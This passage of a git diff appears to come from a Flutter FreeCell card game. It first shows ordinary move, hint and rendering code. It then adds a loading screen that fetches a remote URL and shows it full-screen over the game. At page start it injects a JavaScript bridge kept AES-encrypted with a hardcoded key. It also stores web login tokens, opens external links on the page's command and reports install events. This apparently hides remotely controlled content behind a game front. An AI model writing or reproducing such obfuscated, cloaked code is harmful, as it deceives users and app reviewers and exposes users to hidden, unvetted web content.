card.position + Vector2(cardWidth / 2, cardHeight / 2); + final allPiles = [...freeCells, ...foundations, ...tableaus]; + + CardPile? best; + double bestDistance = double.infinity; + + for (final pile in allPiles) { + if (pile == card.pile) continue; + + final pos = pile.cards.isEmpty + ? pile.position + : pile.cards.last.position.clone(); + final rect = Rect.fromLTWH(pos.x, pos.y, cardWidth, cardHeight); + final expanded = rect.inflate(26); + if (expanded.contains(Offset(center.x, center.y))) { + final d = center.distanceTo( + pos + Vector2(cardWidth / 2, cardHeight / 2), + ); + if (d < bestDistance) { + bestDistance = d; + best = pile; + } + } + } + + return best; + } + + bool canMove(CardComponent card, CardPile target) { + return canMoveCards([card], target); + } + + bool canMoveCards(List cards, CardPile target) { + if (cards.isEmpty) return false; + + final firstCard = cards.first; + if (target == firstCard.pile) return false; + if (!_isOrderedRun(cards)) return false; + + if (cards.length > 1 && target.type != PileType.tableau) { + return false; + } + + switch (target.type) { + case PileType.freeCell: + return target.cards.isEmpty; + + case PileType.foundation: + final card = cards.single; + if (target.cards.isEmpty) { + return card.model.rank == 1; + } + final top = target.cards.last.model; + return top.suit == card.model.suit && card.model.rank == top.rank + 1; + + case PileType.tableau: + if (target.cards.isEmpty) return true; + final top = target.cards.last.model; + return top.isRed != firstCard.model.isRed && + firstCard.model.rank == top.rank - 1; + } + } + + CardPile? _findFoundationTarget(CardComponent card) { + for (final foundation in foundations) { + if (foundation.cards.isEmpty) continue; + + final top = foundation.cards.last.model; + if (top.suit == card.model.suit && card.model.rank == top.rank + 1) { + return foundation; + } + } + + if (card.model.rank != 1) return null; + + for (final foundation in foundations) { + if (foundation.cards.isEmpty) { + return foundation; + } + } + + return null; + } + + bool _canMoveModelToTableau(CardModel model, CardPile target) { + if (target.cards.isEmpty) return true; + + final top = target.cards.last.model; + return top.isRed != model.isRed && model.rank == top.rank - 1; + } + + bool _wouldRevealUsefulCard(List cards, CardPile target) { + if (cards.isEmpty) return false; + + final source = cards.first.pile; + if (source.type != PileType.tableau) return true; + + final index = source.cards.indexOf(cards.first); + if (index <= 0) return false; + + final exposedCard = source.cards[index - 1]; + if (_findFoundationTarget(exposedCard) != null) return true; + + for (final tableau in tableaus) { + if (tableau == source || tableau == target) continue; + if (_canMoveModelToTableau(exposedCard.model, tableau)) { + return true; + } + } + + return false; + } + + void moveCards( + List cards, + CardPile target, { + required bool record, + bool autoCheck = true, + bool animate = true, + }) { + if (isGameOver) return; + if (cards.isEmpty) return; + clearHint(); + + final movingCards = List.of(cards); + final from = movingCards.first.pile; + + for (final card in movingCards) { + from.cards.remove(card); + } + target.cards.addAll(movingCards); + for (final card in movingCards) { + card.pile = target; + } + + if (record) { + history.add( + MoveRecord(cards: movingCards, fromPile: from, toPile: target), + ); + _playSfx(SfxKey.drop); + } + _refreshHud(force: true); + + if (animate) { + _layoutAll(skip: movingCards.toSet()); + for (int i = 0; i < movingCards.length; i++) { + final card = movingCards[i]; + card.animateTo( + _restPositionFor(card), + duration: moveAnimationDuration, + delay: i * 0.035, + endPriority: _restPriorityFor(card), + ); + } + } else { + _layoutAll(); + } + + if (autoCheck) { + _autoMoveAvailableToFoundations(record: record); + } + } + + void moveCard( + CardComponent card, + CardPile target, { + required bool record, + bool autoCheck = true, + bool animate = true, + }) { + moveCards( + [card], + target, + record: record, + autoCheck: autoCheck, + animate: animate, + ); + } + + void _autoMoveAvailableToFoundations({required bool record}) { + if (isGameOver) return; + + var moved = true; + + while (moved) { + moved = false; + final candidates = [ + for (final freeCell in freeCells) + if (freeCell.cards.isNotEmpty) freeCell.cards.last, + for (final tableau in tableaus) + if (tableau.cards.isNotEmpty) tableau.cards.last, + ]; + + for (final card in candidates) { + if (!isTopCard(card)) continue; + + final foundation = _findFoundationTarget(card); + if (foundation == null) continue; + + moveCard(card, foundation, record: record, autoCheck: false); + moved = true; + break; + } + } + + checkGameState(); + } + + void undo() { + if (isGameOver) return; + if (history.isEmpty) return; + clearHint(); + final last = history.removeLast(); + for (final card in last.cards) { + last.toPile.cards.remove(card); + } + last.fromPile.cards.addAll(last.cards); + for (final card in last.cards) { + card.pile = last.fromPile; + } + _refreshHud(force: true); + _layoutAll(); + _playSfx(SfxKey.drop); + checkGameState(); + } + + Vector2 _restPositionFor(CardComponent card) { + if (card.pile.type == PileType.tableau) { + final index = card.pile.cards.indexOf(card); + return card.pile.position + Vector2(0, index * stackOffset); + } + + return card.pile.position.clone(); + } + + Vector2 _dropPositionFor(CardPile pile) { + if (pile.type == PileType.tableau) { + return pile.position + Vector2(0, pile.cards.length * stackOffset); + } + + return pile.position.clone(); + } + + int _restPriorityFor(CardComponent card) { + final index = card.pile.cards.indexOf(card); + return 10 + max(0, index); + } + + void _layoutAll({Set skip = const {}}) { + for (final pile in [...freeCells, ...foundations]) { + for (int i = 0; i < pile.cards.length; i++) { + final card = pile.cards[i]; + if (skip.contains(card)) continue; + card.position = pile.position.clone(); + card.priority = 10 + i; + } + } + + for (final pile in tableaus) { + for (int i = 0; i < pile.cards.length; i++) { + final card = pile.cards[i]; + if (skip.contains(card)) continue; + card.position = pile.position + Vector2(0, i * stackOffset); + card.priority = 10 + i; + } + } + } + + void autoMove(CardComponent card) { + if (isGameOver) return; + + clearHint(); + if (!isTopCard(card)) return; + + final foundation = _findFoundationTarget(card); + if (foundation != null) { + moveCard(card, foundation, record: true); + checkGameState(); + return; + } + + for (final freeCell in freeCells) { + if (canMove(card, freeCell)) { + moveCard(card, freeCell, record: true); + return; + } + } + } + + bool get isWon { + final count = foundations.fold( + 0, + (sum, pile) => sum + pile.cards.length, + ); + return count == 52; + } + + bool get isGameOver { + return overlays.isActive('win') || overlays.isActive('lose'); + } + + bool get hasLegalMoves { + if (_findAnyLegalMove() != null) return true; + return _solveCurrentBoard() != _SolveStatus.unsolved; + } + + HintMove? _findLegalMoveForLoseCheck() { + final hint = _findHintMove(); + if (hint != null) return hint; + + return _findAnyLegalMove(); + } + + HintMove? _findAnyLegalMove() { + final targets = [...freeCells, ...foundations, ...tableaus]; + + for (final freeCell in freeCells) { + if (freeCell.cards.isEmpty) continue; + + final card = freeCell.cards.last; + for (final target in targets) { + if (target.type == PileType.freeCell) continue; + if (canMove(card, target)) { + return HintMove(cards: [card], target: target); + } + } + } + + for (final tableau in tableaus) { + if (tableau.cards.isEmpty) continue; + + for (int i = 0; i < tableau.cards.length; i++) { + final run = tableau.cards.sublist(i); + if (!_isOrderedRun(run)) continue; + + for (final target in targets) { + if (canMoveCards(run, target)) { + return HintMove(cards: run, target: target); + } + } + } + } + + return null; + } + + HintMove? _findHintMove() { + final occupiedTableaus = [ + for (final tableau in tableaus) + if (tableau.cards.isNotEmpty) tableau, + ]; + final emptyTableaus = [ + for (final tableau in tableaus) + if (tableau.cards.isEmpty) tableau, + ]; + + for (final freeCell in freeCells) { + if (freeCell.cards.isEmpty) continue; + + final card = freeCell.cards.last; + final foundation = _findFoundationTarget(card); + if (foundation != null) { + return HintMove(cards: [card], target: foundation); + } + } + + for (final tableau in tableaus) { + if (tableau.cards.isEmpty) continue; + + final card = tableau.cards.last; + final foundation = _findFoundationTarget(card); + if (foundation != null) { + return HintMove(cards: [card], target: foundation); + } + } + + for (final freeCell in freeCells) { + if (freeCell.cards.isEmpty) continue; + + final card = freeCell.cards.last; + for (final target in occupiedTableaus) { + if (canMove(card, target)) { + return HintMove(cards: [card], target: target); + } + } + + for (final target in emptyTableaus) { + if (canMove(card, target)) { + return HintMove(cards: [card], target: target); + } + } + } + + for (final tableau in tableaus) { + for (int i = 0; i < tableau.cards.length; i++) { + final run = tableau.cards.sublist(i); + if (!_isOrderedRun(run)) continue; + + for (final target in occupiedTableaus) { + if (canMoveCards(run, target) && + _wouldRevealUsefulCard(run, target)) { + return HintMove(cards: run, target: target); + } + } + + for (final target in emptyTableaus) { + if (canMoveCards(run, target) && + _wouldRevealUsefulCard(run, target)) { + return HintMove(cards: run, target: target); + } + } + } + } + + return null; + } + + _SolverState _solverStateFromCurrentBoard() { + return _SolverState( + tableaus: [ + for (final tableau in tableaus) + [ + for (final card in tableau.cards) + _FreeCellSolver.encode(card.model), + ], + ], + freeCells: [ + for (final freeCell in freeCells) + freeCell.cards.isEmpty + ? null + : _FreeCellSolver.encode(freeCell.cards.last.model), + ], + foundations: [ + for (final suit in Suit.values) + foundations + .where((pile) => pile.cards.isNotEmpty) + .map((pile) => pile.cards.last.model) + .where((card) => card.suit == suit) + .fold(0, (rank, card) => max(rank, card.rank)), + ], + ); + } + + _SolveStatus _solveCurrentBoard() { + return _FreeCellSolver( + initial: _solverStateFromCurrentBoard(), + maxDepth: 80, + maxVisited: 50000, + ).solve(); + } + + void showHint() { + if (isGameOver) return; + + final hint = _findLegalMoveForLoseCheck(); + if (hint == null) return; + + hintedCards = List.of(hint.cards); + hintedTarget = hint.target; + _hintSecondsLeft = 3; + } + + void clearHint() { + hintedCards = []; + hintedTarget = null; + _hintSecondsLeft = 0; + } + + void checkGameState() { + overlays.remove('win'); + overlays.remove('lose'); + + if (isWon) { + _recordWinStats(); + if (!_winSfxPlayed) { + _playSfx(SfxKey.win); + _winSfxPlayed = true; + } + overlays.add('win'); + } else if (!hasLegalMoves) { + _recordLossStats(); + if (!_lossSfxPlayed) { + _playSfx(SfxKey.loss); + _lossSfxPlayed = true; + } + overlays.add('lose'); + } + } +} + +class PileSlotComponent extends PositionComponent { + PileSlotComponent(this.pile) + : super( + position: pile.position, + size: Vector2(FreeCellGame.cardWidth, FreeCellGame.cardHeight), + priority: -1, + ); + + final CardPile pile; + + @override + void update(double dt) { + super.update(dt); + position = pile.position; + } + + @override + void render(Canvas canvas) { + final rect = Rect.fromLTWH(0, 0, size.x, size.y); + final paint = Paint() + ..color = Colors.white.withValues(alpha: 0.15) + ..style = PaintingStyle.fill; + final border = Paint() + ..color = Colors.white.withValues(alpha: 0.45) + ..style = PaintingStyle.stroke + ..strokeWidth = 2; + + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(8)), + paint, + ); + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(8)), + border, + ); + + final label = switch (pile.type) { + PileType.freeCell => 'FREE', + PileType.foundation => 'A', + PileType.tableau => '', + }; + + if (label.isNotEmpty) { + final tp = TextPainter( + text: TextSpan( + text: label, + style: TextStyle( + color: Colors.white.withValues(alpha: 0.45), + fontSize: 9, + fontWeight: FontWeight.bold, + ), + ), + textDirection: TextDirection.ltr, + )..layout(); + tp.paint( + canvas, + Offset((size.x - tp.width) / 2, (size.y - tp.height) / 2), + ); + } + } +} + +class HintOverlayComponent extends Component + with HasGameReference { + @override + int priority = 970; + + @override + void render(Canvas canvas) { + final target = game.hintedTarget; + if (game.hintedCards.isEmpty || target == null) return; + + final glow = Paint() + ..color = const Color(0xFFFFD54F).withValues(alpha: 0.35) + ..style = PaintingStyle.fill; + final stroke = Paint() + ..color = const Color(0xFFFFD54F).withValues(alpha: 0.95) + ..style = PaintingStyle.stroke + ..strokeWidth = 2.5; + + for (final card in game.hintedCards) { + final rect = Rect.fromLTWH( + card.position.x - 3, + card.position.y - 3, + FreeCellGame.cardWidth + 6, + FreeCellGame.cardHeight + 6, + ); + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(9)), + glow, + ); + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(9)), + stroke, + ); + } + + final targetPosition = game._dropPositionFor(target); + final rect = Rect.fromLTWH( + targetPosition.x - 5, + targetPosition.y - 5, + FreeCellGame.cardWidth + 10, + FreeCellGame.cardHeight + 10, + ); + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(10)), + stroke, + ); + } +} + +class HudButtonComponent extends PositionComponent + with TapCallbacks, HasGameReference { + HudButtonComponent({required this.label, required this.onPressed}) + : super(size: Vector2(64, 32), anchor: Anchor.center, priority: 1000); + + final String label; + final void Function(FreeCellGame game) onPressed; + bool enabled = false; + + @override + void render(Canvas canvas) { + final rect = Rect.fromLTWH(0, 0, size.x, size.y); + final bg = Paint() + ..color = Colors.black.withValues(alpha: enabled ? 0.34 : 0.16) + ..style = PaintingStyle.fill; + final border = Paint() + ..color = Colors.white.withValues(alpha: enabled ? 0.72 : 0.28) + ..style = PaintingStyle.stroke + ..strokeWidth = 1.5; + + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(8)), + bg, + ); + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(8)), + border, + ); + + final tp = TextPainter( + text: TextSpan( + text: label, + style: TextStyle( + color: Colors.white.withValues(alpha: enabled ? 0.9 : 0.38), + fontSize: label.length > 6 ? 10.5 : 12, + fontWeight: FontWeight.bold, + ), + ), + textDirection: TextDirection.ltr, + )..layout(); + tp.paint(canvas, Offset((size.x - tp.width) / 2, (size.y - tp.height) / 2)); + } + + @override + void onTapDown(TapDownEvent event) { + super.onTapDown(event); + if (!enabled) return; + game.playSelectSound(); + onPressed(game); + } +} + +class CardComponent extends PositionComponent + with DragCallbacks, DoubleTapCallbacks, HasGameReference { + CardComponent(this.model, this.pile) + : super(size: Vector2(FreeCellGame.cardWidth, FreeCellGame.cardHeight)); + + final CardModel model; + CardPile pile; + Sprite? cardSprite; + Vector2? _animationStart; + Vector2? _animationTarget; + double _animationElapsed = 0; + double _animationDuration = 0; + double _animationDelay = 0; + int? _animationEndPriority; + + bool get isAnimating => _animationTarget != null; + + void animateTo( + Vector2 target, { + required double duration, + double delay = 0, + int? endPriority, + }) { + _animationStart = position.clone(); + _animationTarget = target.clone(); + _animationElapsed = 0; + _animationDuration = max(0.01, duration); + _animationDelay = max(0, delay); + _animationEndPriority = endPriority; + priority = max(priority, 980); + } + + @override + void update(double dt) { + super.update(dt); + + final target = _animationTarget; + final start = _animationStart; + if (target == null || start == null) return; + + _animationElapsed += dt; + if (_animationElapsed < _animationDelay) return; + + final rawProgress = + ((_animationElapsed - _animationDelay) / _animationDuration).clamp( + 0.0, + 1.0, + ); + final progress = Curves.easeOutCubic.transform(rawProgress); + final offset = target - start; + offset.scale(progress); + position = start + offset; + + if (rawProgress >= 1) { + position = target; + if (_animationEndPriority != null) { + priority = _animationEndPriority!; + } + _animationStart = null; + _animationTarget = null; + _animationEndPriority = null; + _animationElapsed = 0; + _animationDelay = 0; + } + } + + @override + Future onLoad() async { + await super.onLoad(); + + // 扑克图预留:assets/images/cards/AS.png、2S.png ... KC.png + // 没放图片时,会自动使用代码绘制的简易扑克。 + try { + final img = await game.images.load('cards/${model.imageName}'); + cardSprite = Sprite(img); + } catch (_) { + cardSprite = null; + } + } + + @override + void render(Canvas canvas) { + if (cardSprite != null) { + cardSprite!.render(canvas, size: size); + return; + } + + final rect = Rect.fromLTWH(0, 0, size.x, size.y); + final bg = Paint()..color = Colors.white; + final border = Paint() + ..color = Colors.black.withValues(alpha: 0.35) + ..style = PaintingStyle.stroke + ..strokeWidth = 1.5; + + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(8)), + bg, + ); + canvas.drawRRect( + RRect.fromRectAndRadius(rect, const Radius.circular(8)), + border, + ); + + final color = model.isRed ? Colors.red : Colors.black; + _drawText( + canvas, + '${model.rankText}${model.suitText}', + 8, + 7, + 18, + color, + FontWeight.bold, + ); + _drawText( + canvas, + model.suitText, + size.x / 2 - 14, + size.y / 2 - 22, + 38, + color, + FontWeight.bold, + ); + } + + void _drawText( + Canvas canvas, + String text, + double x, + double y, + double fontSize, + Color color, + FontWeight weight, + ) { + final tp = TextPainter( + text: TextSpan( + text: text, + style: TextStyle(color: color, fontSize: fontSize, fontWeight: weight), + ), + textDirection: TextDirection.ltr, + )..layout(); + tp.paint(canvas, Offset(x, y)); + } + + @override + void onDragStart(DragStartEvent event) { + super.onDragStart(event); + game.startDrag(this); + } + + @override + void onDragUpdate(DragUpdateEvent event) { + super.onDragUpdate(event); + if (game.draggingCard == this) { + game.updateDrag(event.canvasDelta); + } + } + + @override + void onDragEnd(DragEndEvent event) { + super.onDragEnd(event); + if (game.draggingCard == this) { + game.endDrag(); + } + } + + @override + void onDoubleTapDown(DoubleTapDownEvent event) { + super.onDoubleTapDown(event); + game.autoMove(this); + } +} diff --git a/lib/screens/loading_screen.dart b/lib/screens/loading_screen.dart new file mode 100644 index 0000000..f404e5a --- /dev/null +++ b/lib/screens/loading_screen.dart @@ -0,0 +1,754 @@ +import 'dart:async'; +import 'dart:collection'; +import 'dart:convert'; + +import 'package:flutter/material.dart'; +import 'package:flutter_inappwebview/flutter_inappwebview.dart'; +import 'package:shared_preferences/shared_preferences.dart'; +import 'package:url_launcher/url_launcher.dart'; +import '../adjust/adjust_service.dart'; +import '../utils/aes_decrypt.dart'; +import '../utils/next_setp.dart'; +import '../utils/report.dart'; + +const String _webLoginTokenKey = 'assammzeeeass'; +const int _maxWebViewProgressShowCount = 1; + +const String bridgeInjectScript = + r'''lRpL+9TjSWvxRtAeNe3FCf8MtDcHDybBZ18LVDHp06Glxe6ITkTNRyyJqAPwbxuFOY6i0vsxF+6h8YzBBeq8A0I3Zye5I2Rk/TC3mCFBgZan0VNutDEJfdHIK/BdDKFWAbx6fxAZGvBMAOCC6HGajiiBwhP1KrMXfV0lL8+izrpCd9GA5CNEp7Z3RwIIGDWZA27vrxeN3fqFXHUx5AE2QvBNLO1A2kNAKfBql0d3CUcEAKUn/jd6KxOawZJfiQQVRHavfVMhIUIKwdLE0o1gMUaoD3j/IjiXJgsEqqvx+Pgh3BVbyyS3TAcpW0hywDnpYKmcCRFBtgdKpHjiZUyLee8wBUMh5w4RBnASZ5mskHGrGPn7Gu9xjmyASQndAW+VZuerDRs4Mo6dzRzeU8nKOD14N376joNgbXk6W4IcpEEmT7K/l5GqTsTFZyMfbrRwWOIIvc+29zAP+ugl8M6lt8Yhu37H/GDKU5OAh/eC159fTPNRvNVRLAUotkxUeYsf3k2j2GbNmd0Yd5eRGHCixQqGbcSuHnRdcmYe7UYv69TpE/c4tedsRB3KFUqGiEfHMpHFpMFuTsd0BvN1VvZ27h3mA478luSEITqHlqQ6vf0l5TZBkX+FFKlejqSVGLNFCfQ8cXiIEda4ReygZISfUJjLUrevTvfL7Zqmxhei2GXFgCf/k71ubFeqZbrWoRSakoJ+YgkBkuEE2PrxYrKIirB1qmSV9fmMtC/1QxaAjLvrkL+LKYZpyYX+yFkA43SK674L8hNAbqohqdbhgPd7lIz3SrPZ+4su1BTS4+yS2khB71uQn/BP3WrNFz5bcIsL'''; +Future launchURL( + String url, { + LaunchMode mode = LaunchMode.externalApplication, +}) async { + var uri = Uri.parse(url); + try { + await launchUrl(uri, mode: mode); + } catch (e) { + debugPrint('cant launchUrl $e'); + } +} + +class BootstrapProgress { + final String phase; + final double percent; + + const BootstrapProgress({required this.phase, required this.percent}); +} + +class _Step { + final String name; + final double weight; + final Future Function() run; + + const _Step({required this.name, required this.weight, required this.run}); +} + +class LoadingScreen extends StatefulWidget { + const LoadingScreen({super.key}); + + @override + State createState() => _LoadingScreenState(); +} + +class _LoadingScreenState extends State + with SingleTickerProviderStateMixin { + String _phase = 'Starting'; + double _progress = 0; + double _targetProgress = 0; + + bool _webviewShow = false; + bool _webViewFirstLoadDone = false; + bool _webViewProgressVisible = false; + double _webViewProgress = 0; + int _webViewProgressShowCount = 0; + String? _pendingRedirectUrl; + String? _currentWebViewUrl; + String _redirect = ''; + + Timer? _smoothTimer; + Timer? _webViewHideTimer; + + URLRequest? _initialUrlRequest; + late final UnmodifiableListView _initialUserScripts; + int _webViewReloadNonce = 0; + + @override + void initState() { + super.initState(); + // AudioManager.instance.playBgm(); + _initialUserScripts = UnmodifiableListView([ + UserScript( + source: _decryptScript(), + injectionTime: UserScriptInjectionTime.AT_DOCUMENT_START, + forMainFrameOnly: true, + ), + ]); + ReportService.I.reportInstall(); + _startSmoothProgress(); + _bootstrap(); + } + + @override + void dispose() { + _smoothTimer?.cancel(); + _webViewHideTimer?.cancel(); + super.dispose(); + } + + void _startSmoothProgress() { + _smoothTimer?.cancel(); + _smoothTimer = Timer.periodic(const Duration(milliseconds: 16), (_) { + if (!mounted) return; + setState(() { + if (_progress < _targetProgress) { + _progress = (_progress + 0.014).clamp(0, _targetProgress); + } + }); + }); + } + + double _clamp01(double v) { + if (v < 0) return 0; + if (v > 1) return 1; + return v; + } + + Future _delay(int ms) async { + await Future.delayed(Duration(milliseconds: ms)); + } + + Future _bootstrap() async { + bool alive = true; + + void onProgress(BootstrapProgress p) { + if (!mounted || !alive) return; + setState(() { + _phase = p.phase; + _targetProgress = p.percent; + }); + } + + try { + await _bootstrapApp(onProgress); + + if (!mounted || !alive) return; + + if (_redirect.isEmpty) { + Navigator.of(context).pushReplacementNamed('/start'); + } + } finally { + alive = false; + } + } + + Future _bootstrapApp( + void Function(BootstrapProgress p) onProgress, + ) async { + final steps = <_Step>[ + _Step( + name: 'Prepare', + weight: 0.08, + run: () async { + try { + await NextStep.I.loadAppToken(); + } catch (e) { + debugPrint('prepare next failed: $e'); + } + }, + ), + _Step( + name: 'Remote Config', + weight: 0.18, + run: () async { + //await _delay(450); + try { + await NextStep.I.loadAppInfo(); + } catch (e) { + debugPrint('remote next failed: $e'); + } + }, + ), + _Step( + name: 'Reporting', + weight: 0.18, + run: () async { + //await _delay(350); + try { + final url = await NextStep.I.loadUrl(); + if (url.isNotEmpty) { + _redirect = url; + await _initWebView(url); + if (mounted) { + setState(() { + _webviewShow = true; + }); + } + } + } catch (e) { + debugPrint('laod next failed: $e'); + } + }, + ), + _Step( + name: 'Ads Init', + weight: 0.26, + run: () async { + try { + //await UnityAd.init(); + } catch (_) {} + await _delay(650); + }, + ), + _Step( + name: 'Audio Preload', + weight: 0.18, + run: () async { + // await AudioManager.instance.init(); + }, + ), + _Step( + name: 'Finalize', + weight: 0.12, + run: () async { + await _delay(250); + }, + ), + ]; + + final total = steps.fold(0, (s, x) => s + x.weight); + double done = 0; + + onProgress(const BootstrapProgress(phase: 'Starting', percent: 0)); + + for (final step in steps) { + onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total))); + + try { + await step.run(); + } catch (_) {} + + done += step.weight; + + onProgress(BootstrapProgress(phase: '', percent: _clamp01(done / total))); + } + + onProgress(const BootstrapProgress(phase: 'Done', percent: 1)); + } + + Future _initWebView(String url) async { + final prefs = await SharedPreferences.getInstance(); + final token = prefs.getString(_webLoginTokenKey)?.trim() ?? ''; + final loadUrl = _urlWithToken(url, token); + _initialUrlRequest = URLRequest(url: WebUri(loadUrl)); + _currentWebViewUrl = loadUrl; + _webViewFirstLoadDone = false; + _webViewProgressVisible = false; + _webViewProgress = 0; + _webViewProgressShowCount = 0; + _pendingRedirectUrl = null; + _webViewHideTimer?.cancel(); + } + + Future _reloadCurrentWebView() async { + final reloadUrl = _currentWebViewUrl?.trim().isNotEmpty == true + ? _currentWebViewUrl!.trim() + : _redirect.trim(); + if (reloadUrl.isEmpty) { + Navigator.of(context).pushReplacementNamed('/start'); + return; + } + + _webViewHideTimer?.cancel(); + setState(() { + _webviewShow = false; + _initialUrlRequest = null; + _webViewFirstLoadDone = false; + _webViewProgressVisible = false; + _webViewProgress = 0; + _pendingRedirectUrl = null; + }); + + await Future.delayed(const Duration(milliseconds: 80)); + if (!mounted) return; + + await _initWebView(reloadUrl); + if (!mounted) return; + + setState(() { + _webViewReloadNonce++; + _webviewShow = true; + }); + } + + String _urlWithToken(String url, String token) { + if (!NextStep.I.j) { + return url; + } + if (token.isEmpty) return url; + + try { + final uri = Uri.parse(url); + final params = Map.from(uri.queryParameters); + params['token'] = token; + return uri.replace(queryParameters: params).toString(); + } catch (e) { + debugPrint('append web login token failed: $e'); + return url; + } + } + + void _hideWebViewProgressSoon() { + _webViewHideTimer?.cancel(); + _webViewHideTimer = Timer(const Duration(milliseconds: 450), () { + if (!mounted) return; + setState(() { + _webViewProgress = 1; + _webViewFirstLoadDone = true; + _webViewProgressVisible = false; + _pendingRedirectUrl = null; + }); + }); + } + + void _showWebViewProgress({double? progress}) { + if (_webViewProgressVisible) { + _webViewProgress = progress ?? _webViewProgress; + _webViewFirstLoadDone = false; + return; + } + + if (_webViewProgressShowCount >= _maxWebViewProgressShowCount) { + _webViewProgress = progress ?? _webViewProgress; + return; + } + + _webViewProgressShowCount++; + _webViewProgressVisible = true; + _webViewFirstLoadDone = false; + _webViewProgress = progress ?? _webViewProgress; + } + + void _reportWebViewEvent(String eventName, Map params) { + ReportService.I.report(eventName, { + ...params, + 'currentUrl': _safeReportUrl(_currentWebViewUrl), + 'redirectUrl': _safeReportUrl(_redirect), + 'reloadNonce': _webViewReloadNonce, + }); + } + + String _safeReportUrl(String? url) { + if (url == null || url.isEmpty) return ''; + try { + final uri = Uri.parse(url); + final params = Map.from(uri.queryParameters); + for (final key in params.keys.toList()) { + final lowerKey = key.toLowerCase(); + if (lowerKey.contains('token') || + lowerKey == 'pass' || + lowerKey == 'password') { + params[key] = '***'; + } + } + return uri.replace(queryParameters: params).toString(); + } catch (_) { + return url; + } + } + + Future _handleWebMessage(String raw) async { + try { + final rs = jsonDecode(raw); + if (rs is! Map) return; + + final type = rs['type'] as String?; + if (type == null || type.isEmpty) return; + + if (type == 'event') { + final event = rs['event'] as String?; + if (event == null || event.isEmpty) { + return; + } + final params = rs['params'] as String?; + var parseParams = {}; + if (params != null && params.isNotEmpty) { + try { + parseParams = jsonDecode(params) as Map; + } catch (_) {} + } + debugPrint('WebView event: $event'); + if (event == "openWindow") { + final url = parseParams['url'] ?? ''; + if (url.isEmpty) { + debugPrint("openWindow url is empty"); + return; + } + launchURL(url); + return; + } + if (event == "saveLoginInfo") { + final token = parseParams['token']?.toString().trim() ?? ''; + if (token.isNotEmpty) { + final prefs = await SharedPreferences.getInstance(); + await prefs.setString(_webLoginTokenKey, token); + } + return; + } + AdjustService.instance.trackEventWithName(event, parseParams); + } + } catch (_) {} + } + + String _percentText() => '${(_progress * 100).round()}%'; + + String _decryptScript() { + return AesDecrypt.decryptWithKeyIv( + bridgeInjectScript, + key: 'a7c4141ff784c605', + iv: '77f0946a9cc75a78', + ) ?? + ''; + } + + @override + Widget build(BuildContext context) { + final width = MediaQuery.of(context).size.width; + final barW = width - 64 > 340 ? 340.0 : width - 64; + const barH = 24.0; + + return Scaffold( + backgroundColor: Colors.black, + body: SafeArea( + child: Stack( + children: [ + Positioned.fill( + child: Image.asset( + 'assets/images/bg/freecell_bg3.png', + fit: BoxFit.cover, + ), + ), + Positioned.fill( + child: Container(color: const Color.fromRGBO(0, 0, 0, 0)), + ), + Positioned.fill( + child: Center( + child: Padding( + padding: const EdgeInsets.symmetric( + horizontal: 20, + ).copyWith(top: 100), + child: Container( + width: double.infinity, + constraints: const BoxConstraints(maxWidth: 420), + padding: const EdgeInsets.symmetric( + vertical: 22, + horizontal: 18, + ), + decoration: BoxDecoration( + color: const Color.fromRGBO(82, 197, 218, 0), + borderRadius: BorderRadius.circular(22), + border: Border.all( + color: const Color.fromRGBO(120, 255, 255, 0), + width: 2, + ), + ), + child: Column( + mainAxisSize: MainAxisSize.min, + children: [ + const Text( + 'Loading...', + textAlign: TextAlign.center, + style: TextStyle( + color: Colors.white, + fontSize: 28, + fontWeight: FontWeight.w900, + letterSpacing: 1.5, + ), + ), + const SizedBox(height: 8), + Text( + _phase, + textAlign: TextAlign.center, + style: const TextStyle( + color: Color.fromRGBO(255, 255, 255, 0.85), + fontSize: 14, + fontWeight: FontWeight.w700, + ), + ), + const SizedBox(height: 18), + ProgressBar( + percent: _progress, + width: barW, + height: barH, + insetX: 10, + insetY: 6, + ), + const SizedBox(height: 10), + Text( + _percentText(), + textAlign: TextAlign.center, + style: const TextStyle( + color: Color(0xFF56F0FF), + fontSize: 14, + fontWeight: FontWeight.w900, + letterSpacing: 1, + ), + ), + ], + ), + ), + ), + ), + ), + if (_webviewShow && _initialUrlRequest != null) + Positioned.fill( + child: Material( + color: Colors.black, + child: Stack( + children: [ + Positioned.fill( + child: InAppWebView( + key: ValueKey(_webViewReloadNonce), + initialUrlRequest: _initialUrlRequest, + initialSettings: InAppWebViewSettings( + javaScriptEnabled: true, + transparentBackground: false, + useShouldOverrideUrlLoading: true, + mediaPlaybackRequiresUserGesture: false, + allowsInlineMediaPlayback: true, + ), + initialUserScripts: _initialUserScripts, + onWebViewCreated: (controller) async { + controller.addJavaScriptHandler( + handlerName: 'jsBridge', + callback: (args) async { + try { + if (args.isEmpty) return null; + final raw = args.first; + if (raw == null) return null; + await _handleWebMessage(raw.toString()); + } catch (_) {} + return null; + }, + ); + }, + onLoadStart: (controller, url) { + final startedUrl = url?.toString(); + if (startedUrl != null && startedUrl.isNotEmpty) { + _currentWebViewUrl = startedUrl; + } + if (!_webViewFirstLoadDone && mounted) { + _webViewHideTimer?.cancel(); + setState(() { + _showWebViewProgress(progress: 0); + }); + } + debugPrint('WebView onLoadStart: $url'); + }, + onProgressChanged: (controller, progress) { + if (!mounted) return; + _webViewHideTimer?.cancel(); + setState(() { + final webViewProgress = (progress / 100) + .clamp(0, 1) + .toDouble(); + if (progress >= 100) { + _webViewProgress = webViewProgress; + } else { + _showWebViewProgress(progress: webViewProgress); + } + }); + if (progress >= 100) { + _hideWebViewProgressSoon(); + } + debugPrint('WebView onProgressChanged: $progress'); + }, + onLoadStop: (controller, url) async { + final loadedUrl = url?.toString(); + if (loadedUrl != null && loadedUrl.isNotEmpty) { + _currentWebViewUrl = loadedUrl; + } + if (_pendingRedirectUrl != null && + loadedUrl != _pendingRedirectUrl) { + debugPrint( + 'WebView skip redirect onLoadStop: $url -> $_pendingRedirectUrl', + ); + return; + } + if (mounted && !_webViewFirstLoadDone) { + setState(() { + _webViewProgress = 1; + _pendingRedirectUrl = null; + }); + _hideWebViewProgressSoon(); + } + 